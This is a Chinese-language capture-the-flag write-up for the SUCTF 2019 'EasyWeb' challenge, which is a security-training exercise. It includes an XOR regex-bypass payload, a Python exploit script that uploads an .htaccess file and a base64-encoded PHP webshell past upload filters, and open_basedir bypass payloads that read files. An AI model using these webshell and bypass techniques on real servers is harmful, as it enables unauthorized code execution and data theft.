[SUCTF 2019]EasyWeb
0x00 前言
考察知识点:
- php正则绕过(参考文章:https://blog.csdn.net/mochu7777777/article/details/104631142)
- 文件上传木马绕过'<?'以及'exif_imagetype()'
- '<?'的绕过:PHP5.x版本中可以使用
<script language='php'>eval($_REQUEST['shell']);</script>
来绕过。 - 配合.htaccess文件利用base64编码进行绕过(具体使用见解题过程)。
- exif_imagetype()绕过:
- 使用GIF89a文件头:
但是注意一点,如果要上传.htaccess文件绕过检测的话,使用GIF89a的文件头会导致.htaccess文件无法生效。#shell.php GIF89a <?php eval($_REQUEST['shell']);?>
- 预定义高度宽度:
这种方法可以让.htaccess文件生效,因为'#'号在.htaccess文件中是注释符,不影响文件本身内容解析。#define width 1337 #define height 1337 文件内容---
- 利用
x00x00x8ax39x8ax39
:x00x00x8ax30x8ax39
是wbmp文件的文件头,0x00在.htaccess文件中同样也是注释符,不会影响文件本身。使用十六进制编辑器或者python的bytes字符类型(b'')来进行添加。payload:shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + '文件内容'
- '<?'的绕过:PHP5.x版本中可以使用
- bypass open_basedir:
- open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
- 绕过:https://xz.aliyun.com/t/4720
payload=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
0x01 解题
- buuoj上进入题目直接给了源码:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
接受GET方式传入的_参数,经过正则匹配之后eval执行。并且给了一个
get_the_flag()函数,主要功能是接受上传的文件经过检测之后输出文件路径。
- 先尝试绕过正则匹配,可以写一个php脚本来看看哪些字符可以利用:
<?php
for($test=0;$test<256;$test++){
if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($test))){
echo bin2hex(chr($test)).'';
}
}
?>
#运行结果:21 23 24 25 28 29 2a 2b 2d 2f 3a 3b 3c 3e 3f 40 5c 5d 5e 7b 7d 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
那么就利用这些字符来进行异或,拼接出shell
payload=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
%ff%ff%ff%ff^%a0%b8%ba%ab //异或结果为$_GET,{$_GET}{%ff}
payload可以使用
- 调用get_the_flag()函数,传入木马。
- python的requests发送/上传多个文件:https://blog.csdn.net/five3/article/details/74913742
函数源码如下:
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
接受我们传入的文件,会检测文件后缀名是否以ph开头,然后进一步检测文件中是否含有'<?',最后使用exif_imagetype()函数进一步过滤。
- 绕过:配合.htaccess文件进行base64编码绕过。下面直接给出我的exp:
import requests
import base64
url = 'http://630ed89b-d10c-450e-a051-faa2a98a9c14.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag'
htaccess='''#define width 1337
#define height 1337
AddType application/x-httpd-php .ha
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_adeee0c170ad4ffb110df0cde294aecd/shell.ha"'''
files = {
'file' : ('.htaccess',htaccess,'image/jpeg'),
}
res = requests.post(url=url,files=files)
print(res.text)
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_POST['shell']);?>") //GIF89a12里的12是为了符合base64解码规范而添加的
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['shell']);?>")
files2 = {
'file' : ('shell.ha',shell,'image/jpeg'),
}
res = requests.post(url=url,files=files2)
print(res.text)
利用.htaccess文件将.ha后缀名的文件解析为php,本题php环境为7.2,所以无法使用<script language='php'>eval($_REQUEST['shell']);</script>
这条payload,所以将shell.ha进行base64编码之后,在.htaccess文件中利用filter://协议将文件解码,从而达到传入shell的目的。
- 拿到文件路径: 访问shell.ha 可以看到,shell已经成功执行,蚁剑连接: 提示根目录下无权访问,看一下phpinfo()里的open_basedir: 利用之前的bypass open_basedir的payload,查看根目录下的文件:
获得flag:
payload1:shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
payload2:shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));
0x02 非预期解
- 利用蚁剑的bypass disable_functions插件
- 在phpinfo中可以看到禁用了许多函数: 这也就是为什么我们第一步要调用get_the_flag()函数的原因。
- 蚁剑连接上shell之后,使用蚁剑的插件(需要在插件市场里下载):
点击开始,打开虚拟终端,直接读取flag: